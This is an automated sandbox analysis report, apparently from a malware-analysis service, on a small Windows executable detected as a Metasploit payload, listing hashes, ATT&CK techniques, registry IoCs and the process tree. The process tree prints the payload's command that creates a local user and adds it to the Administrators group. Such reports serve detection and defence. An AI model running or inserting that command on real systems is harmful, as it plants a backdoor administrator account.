metasploit | 626ef24611c5b19b1cba294d736e737fc958a9b5b26d9abb1a06b14742ffa1ec

Analysis

max time kernel
118s
max time network
119s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
17/08/2024, 17:59

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

a38e29e577c3f7f15d7f8b12926ff600_JaffaCakes118.exe
Size

4KB
MD5

a38e29e577c3f7f15d7f8b12926ff600
SHA1

90542a61673e2dec837690cb305e8a07fd7dcb0c
SHA256

626ef24611c5b19b1cba294d736e737fc958a9b5b26d9abb1a06b14742ffa1ec
SHA512

0ea1305de485f9b269e180b4654740fc834414b8703ec7182d291981e649dafac980ca6922870be87378c46fd50b82b45b22d7e856390c9e6a5b5ff6ed3b9519
SSDEEP

48:6niVHNbDnLDn5y7hgYMGSispmgeGMX+Wi1FKo+KTrQGw3xZOHnhBBddRBgU:+GHNzb52lKnMgej+Wi1F+k3w3GnBRz

Score

10^/10

metasploit backdoor discovery trojan

Malware Config

Extracted

Family

metasploit

Version

encoder/shikata_ga_nai

Signatures

MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
trojan backdoor metasploit
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098
Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
discovery

Local Groups
T1069.001

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	a38e29e577c3f7f15d7f8b12926ff600_JaffaCakes118.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe

Runs net.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2584 wrote to memory of 1792	2584	a38e29e577c3f7f15d7f8b12926ff600_JaffaCakes118.exe	30
PID 2584 wrote to memory of 1792	2584	a38e29e577c3f7f15d7f8b12926ff600_JaffaCakes118.exe	30
PID 2584 wrote to memory of 1792	2584	a38e29e577c3f7f15d7f8b12926ff600_JaffaCakes118.exe	30
PID 2584 wrote to memory of 1792	2584	a38e29e577c3f7f15d7f8b12926ff600_JaffaCakes118.exe	30
PID 1792 wrote to memory of 2200	1792	cmd.exe	32
PID 1792 wrote to memory of 2200	1792	cmd.exe	32
PID 1792 wrote to memory of 2200	1792	cmd.exe	32
PID 1792 wrote to memory of 2200	1792	cmd.exe	32
PID 2200 wrote to memory of 2364	2200	net.exe	33
PID 2200 wrote to memory of 2364	2200	net.exe	33
PID 2200 wrote to memory of 2364	2200	net.exe	33
PID 2200 wrote to memory of 2364	2200	net.exe	33
PID 1792 wrote to memory of 2996	1792	cmd.exe	34
PID 1792 wrote to memory of 2996	1792	cmd.exe	34
PID 1792 wrote to memory of 2996	1792	cmd.exe	34
PID 1792 wrote to memory of 2996	1792	cmd.exe	34
PID 2996 wrote to memory of 1260	2996	net.exe	35
PID 2996 wrote to memory of 1260	2996	net.exe	35
PID 2996 wrote to memory of 1260	2996	net.exe	35
PID 2996 wrote to memory of 1260	2996	net.exe	35

C:\Users\Admin\AppData\Local\Temp\a38e29e577c3f7f15d7f8b12926ff600_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\a38e29e577c3f7f15d7f8b12926ff600_JaffaCakes118.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2584
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c net user metasploit secret /ADD && net localgroup Administrators metasploit /ADD
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1792
- - C:\Windows\SysWOW64\net.exe
    net user metasploit secret /ADD
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2200
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 user metasploit secret /ADD
      4⤵
      System Location Discovery: System Language Discovery
      PID:2364
- - C:\Windows\SysWOW64\net.exe
    net localgroup Administrators metasploit /ADD
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2996
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 localgroup Administrators metasploit /ADD
      4⤵
      System Location Discovery: System Language Discovery
      PID:1260

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Account Manipulation

T1098

Privilege Escalation

Account Manipulation

T1098

Defense Evasion

Credential Access

Discovery

Permission Groups Discovery

T1069

Local Groups

T1069.001

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2584-0-0x0000000000400000-0x0000000000404000-memory.dmp

Filesize
16KB

Download
memory/2584-2-0x0000000000400000-0x0000000000404000-memory.dmp

Filesize
16KB

Download